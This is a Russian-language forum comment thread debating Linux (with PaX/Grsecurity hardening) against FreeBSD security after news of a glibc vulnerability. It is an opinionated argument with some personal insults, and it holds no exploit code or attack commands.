	87. "В Glibc обнаружена серьезная уязвимость"	–1 +/–
	Сообщение от Добрый Аноним on 19-Окт-10, 21:25
	>> знаете... меня больше практика интересует. Есть примеры? Где посмотреть статистику Ваших >> утверждений? > Вас не практика интересует, а некие примеры и статистика, которые в реальном > мире никто не создаёт и не собирает, и на отсутствии которых > можно сделать акцент, не так ли? Все так и имеет место быть, и тем ни менее, в линухах рута получают чаще, чем во фрях и и линух не спасает ни одна защита, увы.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	95. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 19-Окт-10, 22:30
	> Все так и имеет место быть, и тем ни менее, в линухах > рута получают чаще, чем во фрях и и линух не спасает > ни одна защита, увы. Чаще или нет - меня, например, вообще не интересует. Меня интересует, есть ли способы существенно, качественно усилить защиту ядра, и такие способы есть.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	130. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Добрый Аноним on 20-Окт-10, 11:41
	>> Все так и имеет место быть, и тем ни менее, в линухах >> рута получают чаще, чем во фрях и и линух не спасает >> ни одна защита, увы. > Чаще или нет - меня, например, вообще не интересует. Меня интересует, есть > ли способы существенно, качественно усилить защиту ядра, и такие способы есть. Ну да, когда куча детей сует свой код в ядро, действительно защищаться нужно, причем защита может быть разная: а. не принимать код, б. городить огород из копий, дабы детский код не наподгадил. В линуксе выбирают второе. Все это конечно не говорит, о том, что, подстраховываться не нужно, но...
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	98. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от User294 (ok) on 19-Окт-10, 22:43
	> и тем ни менее, Еще один горе-аналитик. Как обычно - с ТУПЫМИ ошибками. Позор! Интересно, а горе-аналитика не смущает что 1) Если поискать про FreeBSD в новостях, можно тоже интересненького найти. 2) Линух юзают побольше чем фрю как-то. Вроде логично что и взломов должно быть больше. Чем больше система юзается, тем больше желающих ее поиметь. 3) Защиты - они разные бывают. Сильно разные. Ну вон ось от Рутковской - это тоже типа защита. Только там контейнеры - временные. Ну раздолбали вы виртуалочку. А прога в оной доработала и контейнер убился. Вместе с вами и вашим доступом. Вы побыли рутом виртуалочки сколько-то минут. Ну, круто, ага. А на BSD такое же ультрапараноидальное решение сможете изобразить? ;)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	102. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 19-Окт-10, 23:15
	> Рутковской - это тоже типа защита. На этот счёт есть разные мнения: http://archives.neohapsis.com/archives/dailydave/2010-q3/003...
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	131. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Добрый Аноним on 20-Окт-10, 11:46
	> Еще один горе-аналитик. Как обычно - с ТУПЫМИ ошибками. Позор! юзер обиделся :) забавно. > 1) Если поискать про FreeBSD в новостях, можно тоже интересненького найти. можно, с этим кто-то спорит? > 2) Линух юзают побольше чем фрю как-то. Вроде логично что и взломов > должно быть больше. Чем больше система юзается, тем больше желающих ее > поиметь. В линуксе, сейчас, дыры находят примерно с такой же частотой, как и в винде, следуя вашим же выводам, если линукс дорастет до винды, то рута там будут получать два раза в день, каждый раз через новые ошибки. > 3) Защиты - они разные бывают. Сильно разные. Ну вон ось от > Рутковской - это тоже типа защита. Только там контейнеры - временные. > Ну раздолбали вы виртуалочку. А прога в оной доработала и контейнер > убился. Вместе с вами и вашим доступом. Вы побыли рутом виртуалочки > сколько-то минут. Ну, круто, ага. А на BSD такое же ультрапараноидальное > решение сможете изобразить? ;) А в миниксе надежность лучше, сможете изобразить так же?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	141. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 14:28
	> В линуксе, сейчас, дыры находят примерно с такой же частотой, как и > в винде, следуя вашим же выводам, если линукс дорастет до винды, > то рута там будут получать два раза в день, каждый раз > через новые ошибки. Только в отличие от винды, у линукса уже есть стабильная, проверенная временем реализация комплекснх механизмов защиты (PaX + Grsecurity), которой, при описанном развитии событий,  откроется дорога во все дистрибутивы.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	147. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Добрый Аноним on 20-Окт-10, 14:41
	>> В линуксе, сейчас, дыры находят примерно с такой же частотой, как и >> в винде, следуя вашим же выводам, если линукс дорастет до винды, >> то рута там будут получать два раза в день, каждый раз >> через новые ошибки. > Только в отличие от винды, у линукса уже есть стабильная, проверенная временем > реализация комплекснх механизмов защиты (PaX + Grsecurity), которой, при описанном развитии > событий,  откроется дорога во все дистрибутивы. Вы же в курсе, что в винде тоже постоянно изобретают "ловушки для своего кода", только это не сильно помогает?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	155. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 16:44
	> Вы же в курсе, что в винде тоже постоянно изобретают "ловушки для > своего кода", только это не сильно помогает? Да, и я даже в курсе, у кого они списывают свои "ловушки", а также почему у них это плохо получается и почему хорошо получиться не может. ;)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	160. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Добрый Аноним on 20-Окт-10, 17:25
	>> Вы же в курсе, что в винде тоже постоянно изобретают "ловушки для >> своего кода", только это не сильно помогает? > Да, и я даже в курсе, у кого они списывают свои "ловушки", > а также почему у них это плохо получается и почему хорошо > получиться не может. ;) Хе, а вы мне уже начинаете нравиться :)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	149. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от User294 (ok) on 20-Окт-10, 15:41
	> юзер обиделся :) забавно. Обиделся? На кого? Я всего лишь не понимаю: зачем надо выступать с горе-аналитикой, попутно демонстрируя всем свои три класса образования? Очень зудит показать всем как выглядит EPIC FAIL? :))) Я все понимаю, но по три эпикфэйла на тред - перебор, а? :D. >> 1) Если поискать про FreeBSD в новостях, можно тоже интересненького найти. > можно, с этим кто-то спорит? Тогда не понятно что некоторым не нравится. Чисто технически в реальных линухах с реальными кернелами используется достаточно много мер по предотвращению некоторых видов уязвивмостей. Особенно в всяких ультрапараноидальных. > В линуксе, сейчас, дыры находят примерно с такой же частотой, как и > в винде, следуя вашим же выводам, если линукс дорастет до винды, Кхм, линукс давно перерос винду на тех же серверах. Его там извините намного больше. При том сервера - это очень интересные мишени. Мощные машины на толстых каналах с нефиговыми ресурсами. А не какие-то тормозные дслщики с глючным геймерским железом или там нетбуками вообще. А спам почему-то валится оптом именно с виндовых дслщиков. Ы? > то рута там будут получать два раза в день, каждый раз через новые ошибки. Дык на линуксе нынче серверов стоит куда больше чем на винде. Почему их тогда не рутают по 2 раза на день? Предпочитая в основном гасить ламерье в винде сплойтами на древние непатченые версии флеша, абоб ридера и ишака. Как-то наблюдаемые факты не коррелируют с вашей теорией. > А в миниксе надежность лучше, сможете изобразить так же? Смогу контрпример привести. Вот есть серваки, допустим. Скажем на одном из них заклинило вентиль и через сколько-то минут будет шатдаун по перегреву, например. Что нам предложит Миникс в плане надежности в таком случае? А в пингвине можно в ряде виртуализаторов или контейнеров простите просто подвинуть виртуалочки/контейнеры на соседний хост, так что никто ничего и не заметит. Ну понятно что там где ядерные реакторы - там и троекратное резервирование и отстрел по принципу "2 из 3" или что-то подобное никого не заломает, памятуя о последствиях. А вот на обычных серверах это как правило слишком жирно получается ;)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	152. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Добрый Аноним on 20-Окт-10, 16:36
	Был бы я не добрый сегодня, я бы поругался конечно :), но коли я уж добрый, опущу лишнее и не буду флеймить не по делу. > Кхм, линукс давно перерос винду на тех же серверах. Его там извините > намного больше. При том сервера - это очень интересные мишени. Мощные > машины на толстых каналах с нефиговыми ресурсами. А не какие-то тормозные > дслщики с глючным геймерским железом или там нетбуками вообще. А спам > почему-то валится оптом именно с виндовых дслщиков. Ы? Кому интересны? Спамерам? ДДОС-ерам? Вы заблуждаетесь, машинки юзеров им нужны больше, хотя бы по тем причинам что: их больше, за ними многие не следят (в отличии от серверов, т.е. зомбированный пк может жить годами, а сервер только у плохого админа будет жить зомбированным), расследовать взлом пк мало кто будет (в отличии, опять же, от серверов). >> А в миниксе надежность лучше, сможете изобразить так же? > Смогу контрпример привести. Вот есть серваки, допустим. Скажем на одном из них > заклинило вентиль и через сколько-то минут будет шатдаун по перегреву, например. > Что нам предложит Миникс в плане надежности в таком случае? А > в пингвине можно в ряде виртуализаторов или контейнеров простите просто подвинуть > виртуалочки/контейнеры на соседний хост, так что никто ничего и не заметит. > Ну понятно что там где ядерные реакторы - там и троекратное > резервирование и отстрел по принципу "2 из 3" или что-то подобное > никого не заломает, памятуя о последствиях. А вот на обычных серверах > это как правило слишком жирно получается ;) хе, ну понятно же, что речь о разных вещах, ага? если, например, гипервизор приведет к краху системы, то передача состояния памяти по сети мало, чем поможет, даже если будет три машины, они дружно все накроются медным тазом и все дела.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	157. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 17:15
	Я немного вмешаюсь, простите. > намного больше. При том сервера - это очень интересные мишени. Мощные > машины на толстых каналах с нефиговыми ресурсами. А не какие-то тормозные > дслщики с глючным геймерским железом или там нетбуками вообще. А спам > почему-то валится оптом именно с виндовых дслщиков. Ы? Спам чаще валится с десктопов, потому что их гораздо меньше, чем серверов, они часто меняют айпишники (динамические) и наблюдают за ними гораздо мненее внимательно. Как правило в ДЦ вам заблокируют почтовые порты в первый же день после обнаружения потока спама, в свете чего даже полный контроль над сервером, неспособным рассылать спам и не содежращим ценной информации, не даёт взломщику практически ничего. >> то рута там будут получать два раза в день, каждый раз через новые ошибки. Я видел VPS-хостинги, где OpenVZ-ядра не обновляются от полугода до года (хотя бинарные обновления для них выходят регулярно и не требуют ручной установки). При этом в RBL адреса из их подсетей светятся не часто, т.к. спам просто блокируется по почтовым портам на телеком-оборудовании. > Дык на линуксе нынче серверов стоит куда больше чем на винде. Почему > их тогда не рутают по 2 раза на день? Предпочитая в Да рутают их и по два, и по три раза в день. Хоть по тысячи, если эксплойт не нарушает консистентность структур и кода в ядре. Причина не только в качестве кода ядра, но и в нежелании добросовестно обслуживать серверы. Только пользы от этого коммерсантам от криминала чуть менее, чем никакой. > основном гасить ламерье в винде сплойтами на древние непатченые версии флеша, > абоб ридера и ишака. Как-то наблюдаемые факты не коррелируют с вашей > теорией. Вы сами себе ответили: десктопы взламывают чаще, потому что лёгких целей для атак там больше. Это дешевле и эффективнее.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	158. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 17:21
	s/их гораздо меньше/их гораздо больше/
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	164. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от User294 (ok) on 20-Окт-10, 18:41
	> s/их гораздо меньше/их гораздо больше/ [0xFF]: Зарегались бы вы, а? :) Тогда вы смогли бы исправлять такое путем редактирования комента вместо патча вторым коментом :) (для зареганых - коменты редактируемы 60 минут после написания). [/0xFF]
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	110. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от blah on 20-Окт-10, 01:01
	сразу видно высказывание человека, к-ый вообще не шарит в безопасности... вам выше расписали все фичи OpenBSD и Linux. Фрю "реже" ломают потому что её инсталяций в разы меньше в мире, чем линукса. Я был свидетелем 3 взломов линукс(в разных компаниях в разное время), причина банальна: пароль рута qwerty....
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	92. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от тигар (ok) on 19-Окт-10, 22:12
	> Однако если вас действительно интересует практика, поинтересуйтесь у практиков - у исследователей > и пентестеров с мировыми именами. Для этого достаточно обратиться с вопросами > в листы рассылки, вроде Full-Disclosure или bugtraq, и попросить подписчиков (в > т.ч. по именам) высказаться и/или дать материал к ознакомлению. погодите, если я понял правильно то Вы предлагаете мне самому доказать Ваши голословные утверждения. Я ведь правильно понял? Напомню Ваше утверждение: "FreeBSD не только подвержена локальным уязвимостям больше, чем тот же Hardened Gentoo с полноценным набором механизмов защиты ядра, но и пользовательские процессы (сетевые сервисы, клиентские приложения) во FreeBSD больше (чаще, быстрее, проще) подвержены эксплуатации уязвимостей к выполнению произвольного кода по сравнению с линуксом и особенно с Hardened Gentoo (или другими системами на базе ядер с PaX и Grsecurity)." p.s. раз уж зашла речь о пентестерах.. Вы чем-то/кем-то можете представиться?;)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	101. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 19-Окт-10, 23:08
	>> Однако если вас действительно интересует практика, поинтересуйтесь у практиков - у исследователей >> и пентестеров с мировыми именами. Для этого достаточно обратиться с вопросами >> в листы рассылки, вроде Full-Disclosure или bugtraq, и попросить подписчиков (в >> т.ч. по именам) высказаться и/или дать материал к ознакомлению. > погодите, если я понял правильно то Вы предлагаете мне самому доказать Ваши > голословные утверждения. Я ведь правильно понял? Нет, вы поняли неправильно, вернее, вы занимаетесь казуистикой, наигранно делая вид, что при вашем хамско-пренебрежительном тоне по отношению ко мне я вам ещё что-то обязан доказывать, причём, лично: и документацию пересказать, и мнения экспертов собрать процитировать. И это в ответ на дешёвую полемику и апологетику вместо разговора по существу. Это во-первых. Во-вторых, мои утверждения не голословны и опираются, например, на наличие в PaX и отсутствие во FreeBSD защиты от обращения из ядра по указателям на пользовательские данные. Если вам это ни о чём не говорит - ваши проблемы. > Напомню Ваше утверждение: "FreeBSD не только подвержена локальным уязвимостям больше, На что вы рассчитываете? Вот потыкаете меня носом в сказанное, встанете в позу, и это как-то прикроет или оправдает ваше явное нежелание настрочить за 3-10 минут коротенькое письмецо в Full-Disclosure и получить доказательства, которые вас якобы интересуют? > p.s. раз уж зашла речь о пентестерах.. Вы чем-то/кем-то можете представиться?;) Я системный инженер и обладаю лишь некоторыми знаниями и навыками, необходимыми для обеспечения безопасности моих систем. А вы сами-то чем можете похвастаться? Пока я увидел только дремучесть, фанатизм и нелепые попытки апелляции к нормам этики после перехода на личность собеседника.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	62. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Аноним (??) on 19-Окт-10, 18:20
	> FreeBSD не только подвержена локальным уязвимостям больше, чем тот же Hardened Gentoo > с полноценным набором механизмов защиты ядра, но и пользовательские процессы (сетевые > сервисы, клиентские приложения) во FreeBSD больше (чаще, быстрее, проще) подвержены > эксплуатации Вы сами то верите в то что понаписали ??? И какие же это пользовательские процессы ??? WWW ? Руки подтачите под FreeBSD а потом разглогольствуйте что безопаснее линух из коробки или фряха Я не говорю про всякие SeLinux/Jail я говорю именно система из коробки Может в линухах и побольше средств для безопасности но так или иначе несмотря на то что код во FreeBSD хоть и похуже но на внешние воздействия из коробки более стойкая система
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	75. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от paxuser on 19-Окт-10, 19:14
	>> FreeBSD не только подвержена локальным уязвимостям больше, чем тот же Hardened Gentoo >> с полноценным набором механизмов защиты ядра, но и пользовательские процессы (сетевые >> сервисы, клиентские приложения) во FreeBSD больше (чаще, быстрее, проще) подвержены >> эксплуатации > Вы сами то верите в то что понаписали ??? Не верю, а знаю. > И какие же это пользовательские процессы ??? WWW ? Любые, которые обрабатывают данные из внешних, потенциально опасных источников. > Руки подтачите под FreeBSD а потом разглогольствуйте что безопаснее линух из коробки > или фряха Вы мне ещё похамите и поуказывайте - это придаст особый вес вашим словам. > Я не говорю про всякие SeLinux/Jail я говорю именно система из коробки И я говорю о системах из коробки. К примеру, CentOS - это что, по-вашему? > Может в линухах и побольше средств для безопасности но так или иначе Дело не в количестве, а в качестве и полноте. В ванильном ядре с количеством проблем нет, а вот качество и полнота оставляют желать намного лучшего. > несмотря на то что код во FreeBSD хоть и похуже но Код во FreeBSD, на мой взгляд, получше, о чём я уже сказал. > на внешние воздействия из коробки более стойкая система Это ничем не обоснованное утверждение.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	86. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от User294 (ok) on 19-Окт-10, 21:10
	> Руки подтачите Yet another *EPIC* FAIL!
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	125. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от kshetragia (ok) on 20-Окт-10, 08:10
	> во FreeBSD больше (чаще, быстрее, проще) подвержены эксплуатации уязвимостей Приведите статистику по дырам для Linux и FreeBSD для начала. Быть может все эти механизмы не так уж и нужны в настоящий момент.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	142. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 14:34
	> Приведите статистику по дырам для Linux и FreeBSD для начала. Быть может > все эти механизмы не так уж и нужны в настоящий момент. На "статистику по дырам" ориентироваться бессмысленно, т.к. в первую очередь на неё влияет популярность данной ОС и желание отдельных людей и организаций заниматься поиском уязвимостей данной ОС. Есть другие ориентиры: типобезопасность языка, наличие в команде разработчиков активных экспертов по безопасности, влияние модели разработки на ситуацию с безопасностью, сама политика реагирования на инциденты, связанные с безопасностью и т.д. По этим параметрам ни FreeBSD, ни ванильный линукс ничем особо похвастаться не могут - скорее, наоборот. Но в отличие от FreeBSD, у линукса есть сторонние активные эксперты-разработчики.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	180. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от kshetragia (ok) on 21-Окт-10, 04:28
	>> Приведите статистику по дырам для Linux и FreeBSD для начала. Быть может >> все эти механизмы не так уж и нужны в настоящий момент. > На "статистику по дырам" ориентироваться бессмысленно, т.к. в первую очередь на неё > влияет популярность данной ОС и желание отдельных людей и организаций заниматься > поиском уязвимостей данной ОС.   Я про это и говорю. Зачем городить огород раньше времени, если по факту дыры либо никто не ищет, либо они закрываются другими методами(например чистотой кода). Все эти механизмы выглядят скорее костылями. >Есть другие ориентиры: типобезопасность языка, С этим хорошо пожалуй только в линейке модула/оберон(из тех о чем слышал я) >наличие в команде разработчиков активных экспертов по безопасности, имеются > влияние модели разработки на ситуацию с безопасностью   соборная модель выглядит предпочтительнее базарной с этой точки зрения. > сама политика реагирования на инциденты, связанные с безопасностью и т.д.   обычная политика. дыры латаются быстро, выпускается отдельный патч. > По этим параметрам ни FreeBSD, ни ванильный линукс > ничем особо похвастаться не могут - скорее, наоборот. Но в отличие > от FreeBSD, у линукса есть сторонние активные эксперты-разработчики.   Может. Модель разработки и институтские корни. Я больше доверяю экспертам от науки.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	181. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от kshetragia (ok) on 21-Окт-10, 04:32
	Я не специалист по безопасности, но.. kern.securelevel=2, mount / to read only - ломайте.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	183. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 21-Окт-10, 06:39
	> kern.securelevel=2, mount / to read only - ломайте. Озвучьте предложение на Full-Disclosure или DailyDave, оговорите достойное вознаграждение, и всё вам сломают. :)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	182. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 21-Окт-10, 06:31
	>> На "статистику по дырам" ориентироваться бессмысленно, т.к. в первую очередь на неё >> влияет популярность данной ОС и желание отдельных людей и организаций заниматься >> поиском уязвимостей данной ОС. >   Я про это и говорю. Зачем городить огород раньше времени, > если по факту дыры > либо никто не ищет, либо они закрываются другими методами(например чистотой кода). Вы говорите совершенно об обратном и вдобавок питаете иллюзии о чистоте кода, которой нет. Для получения инструмента компрометации ядра FreeBSD человеку нужно: 1. Найти уязвимость, поддающуюся эксплуатации. 2. Написать эксплойт. 3. Держать уязвимость в секрете. История опубликованных уязвимостей ядра FreeBSD показывает, что находить их под силу отдельным людям (гуглите FreeBSD kernel vulnerability и смотрите авторство). Этим же (равно как и другим) людям по силам писать PoC-эксплойты (FreeBSD root exploit в гугле), поскольку эксплуатация весьма прямолинейна и не требует обхода механизмов предотвращения (которых просто нет). Разница между злоумышленником-одиночкой, обладающим достаточными знаниями и навыками, и таким исследователем-одиночкой лишь в планах, мотивах и действиях по п.3. В случае линукс-ядер с PaX и Grsecurity преодолеть п.1 и п.2 становится значительно сложнее, т.к. сужается перечень "полезных" ошибок под действием механизмов защиты, исключающих целые классы уязвимостей и методы их эксплуатации. Например, UDEREF не позволяет ядру обращаться по указателям на юзерспейс. KERNEXEC реализует W^X для пространства ядра и блокирует запись во многие уязвимые структуры данных (не кода), MEMORY_SANITIZE предотвращает утечки данных, обнуляя всю память, выделяемую в юзерспейс, и так далее. Поэтому на практике абсолютное большинство ошибок либо не поддаётся эксплуатации (в разумные сроки и за разумную цену), либо требует создания сложных многоходовых эксплойтов. К тому же: 1. Уязвимостями торгуют и делятся в приватных кругах. 2. Одна и та же пара уязвимость+эксплойт может быть использована многократно для атаки на множество независимых целей разными людьми (так обычно и происходит). 3. Не обольщайтесь, если полагаете, будто компрометация отдельно взятых ваших машин обойдётся кому-то в совокупную стоимость поиска уязвимости и написания боевого эксплойта (в случае локальной эскалации привилегий от PoC он не отличается ничем) - кто-то знакомый может подарить взломщику интсрументарий за "спасибо, сочтёмся" или в обмен на информацию. 4. Уязвимость можно обнаружить, просто случайно порушив систему в процессе работы или читая чужие (!) баг-репорты в трекере. 5. Почти всё сказанное применимо к уязвимостям во многих сетевых демонах, а чаще уязвимые веб-приложения и вовсе упрощают проникновение. Лично я считаю, что игнорировать такую ситуацию целесообразно, лишь когда защищать по большему счёту нечего. > Все эти механизмы выглядят скорее костылями. Вопрос в том, насколько приемлема ситуация при отказе от таких костылей. >>Есть другие ориентиры: типобезопасность языка, > С этим хорошо пожалуй только в линейке модула/оберон(из тех о чем слышал > я) Много, где хорошо. Даже в яве. >>наличие в команде разработчиков активных экспертов по безопасности, > имеются И кто они? >> влияние модели разработки на ситуацию с безопасностью >   соборная модель выглядит предпочтительнее базарной с этой точки зрения. Слишком общее суждение. Я другое имел ввиду. Посмотрите, как в OpenBSD: перед включением кода в основную ветку его обязательно проверяют ещё один или несколько разработчиков. Приоритеты и требования: корректность, простота, безопасность. В линуксе с этим туго, как во FreeBSD - не знаю. >> сама политика реагирования на инциденты, связанные с безопасностью и т.д. >   обычная политика. дыры латаются быстро, выпускается отдельный патч. Не бывает обычных политик, а перечень возможных реакций и решений выпуском патчей не исчерпывается. Кто-то стремится устранить причины доступными средствами, а кто-то - вечный реакционер. >   Может. Модель разработки и институтские корни. Я больше доверяю экспертам > от > науки. Риски вы тоже на основании доверия "экспертам от науки" рассчитываете? Наука давно ушла вперёд и адекватна сегодняшней действительности, а мы по-прежнему привязаны к сорокалетнему наследию сомнительного качества двух инженеров из AT&T. Жаль, что об оберонах вы всего лишь слышали.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	30. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от User294 (ok) on 19-Окт-10, 16:37
	А как оценивалось качество кода? По какой методике?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	129. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от QuAzI (ok) on 20-Окт-10, 11:17
	Почему "к сожалению" ? Что до FreeBSD, давеча писали про http://www.opennet.me/opennews/art.shtml?num=28210 которая вроде как не смогли закрыть аж в далёком 2001 году. И вот две машины с потенциально уязвимым лет 10 как ProFTPd: FreeBSD 8.0, proftpd-1.3.2b   - бага НЕ проявилась. FreeBSD 8.1  proftpd-1.3.3a_1 - бага проявилась. Почему на более старой версии бага не проявилась? Хотя казалось бы бага для всех одна, в том числе для линухов с их защитой. Мне почему-то кажется что безопасность зависит в первую очередь от того что между клавой и стулом. А менять ежеквартально железо на серверах потому что "там появился аппаратно реализованный очередной моднявый PaX, шмякс" или "потому что нам надо поднять производительность и объём ОЗУ который сожрала паранойя и кривой софт" никто не будет. Если проблема в кривых исходниках, исправлять надо кривые исходники - это ЭФФЕКТИВНЕЕ. p.s. Что-то не вижу тестов, эта бага к BSD применима?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	140. "В Glibc обнаружена серьезная уязвимость"	–1 +/–
	Сообщение от paxuser on 20-Окт-10, 14:24
	> Почему "к сожалению" ? Потому что ядро и так дырявое: дыркой больше, дыркой меньше... :) > Почему на более старой версии бага не проявилась? Хотя казалось бы бага > для всех одна, в том числе для линухов с их защитой. Знаете, у меня тоже "бага не проявилась" - на vsftpd. > Мне почему-то кажется что безопасность зависит в первую очередь от того > что между клавой и стулом. В первую очередь - совершенно согласен. На примере уязвимости в glob() это хорошо видно: вот у вас ProFTPd и "бага проявилась". ;) > А менять ежеквартально железо на серверах потому что "там появился аппаратно реализованный > очередной моднявый PaX, шмякс" или "потому что нам надо поднять производительность > и объём ОЗУ который сожрала паранойя и кривой софт" никто не Это вы, не подумав, сказали. У тех, кто использует PaX, аналог W^X работает даже на старых серверах с процессорами без NX-бита. А вообще было бы смешно, если б не так грустно наблюдать людей, которые "спорят о вкусе манго с теми, кто их ел", то бишь, объясняют пользователям PaX с многолетним стажем, как там всё тормозит и апгрейда требует. :) > будет. Если проблема в кривых исходниках, исправлять надо кривые исходники - > это ЭФФЕКТИВНЕЕ. Это, во-первых, крайне НЕэффективно, потому что человек - не машина, и в поиске ошибок (уявзимостей) ошибается и не способен обнаружить и закрыть все, а во-вторых, этим почти никто не занимается даже в OpenBSD, не говоря уж о других BSD и линуксе... > p.s. Что-то не вижу тестов, эта бага к BSD применима? Какая именно "эта бага"?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	153. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от QuAzI (ok) on 20-Окт-10, 16:38
	>> Мне почему-то кажется что безопасность зависит в первую очередь от того >> что между клавой и стулом. >В первую очередь - совершенно согласен. На примере уязвимости в glob() это хорошо видно: >вот у вас ProFTPd и "бага проявилась". ;) Почему на второй машине не проявилась на дырявом же ProFTPd ? Извините, вы выше орали про аппаратную реализацию, а "аналоги" использовать уже другой темы разговор, ведь вы именно эту фичу тут хвалите, так давайте, расхвалите мне её тут. В частности, обсуждаемую уязвимость она отлавливает или всё-таки нет? В конце концов в первом же его описании написано: PaX напрямую не предотвращает переполнение буфера, а лишь пытается эффективно пресечь потенциальные, связанные с ним, ошибки разработчиков. Мне кажется вполне эффективно исправить одну глобальную либу, чем переписывать сотни дистрибутивов, а затем их обновлять на миллионах машин. > Какая именно "эта бага"? Обсуждаемая разумеется.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	156. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от paxuser on 20-Окт-10, 16:57
	> Почему на второй машине не проявилась на дырявом же ProFTPd ? А я откуда знаю? Но уж точно не потому, что между креслом и монитором находитесь вы. > Извините, вы выше орали про аппаратную реализацию, а "аналоги" использовать уже другой Не извиню. После "извините" вы продолжаете бессовестно хамить. > темы разговор, ведь вы именно эту фичу тут хвалите, так давайте, Я ничего не хвалю, я высказываю своё мнение и опровергаю бред, подобный тому, который вы здесь, не стесняясь своей глупости, пишете. > расхвалите мне её тут. В частности, обсуждаемую уязвимость она отлавливает или > всё-таки нет? Уязвимость в glob() - логическая и не приводит к компрометации. От чего защищать? > В конце концов в первом же его описании написано: PaX напрямую не > предотвращает переполнение буфера, а лишь пытается эффективно пресечь потенциальные, > связанные с ним, ошибки разработчиков. Пресечь не ошибки разработчиков, а попытки эксплуатации ошибок. > Мне кажется вполне эффективно исправить одну глобальную либу, чем переписывать сотни дистрибутивов, > а затем их обновлять на миллионах машин. Вы либо вообще не понимаете, о чём говорите, либо выражаетесь настолько бессвязно, что понять вас невозможно. >> Какая именно "эта бага"? > Обсуждаемая разумеется. Вами обсуждаемая или в новости? От баги в glibc, независимо от наличия у атакующего прав чтения экзешника с suid-битом, защищают ограничения на создание хардлинков, реализованные в Grsecurity. А бага в glob() не приводит к компрометации. К тому же в нормальных, а вернее, в нормальном фтп-сервере - vsftpd - она отсутствует.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	171. "В Glibc обнаружена серьезная уязвимость"	–2 +/–
	Сообщение от QuAzI (ok) on 20-Окт-10, 23:00
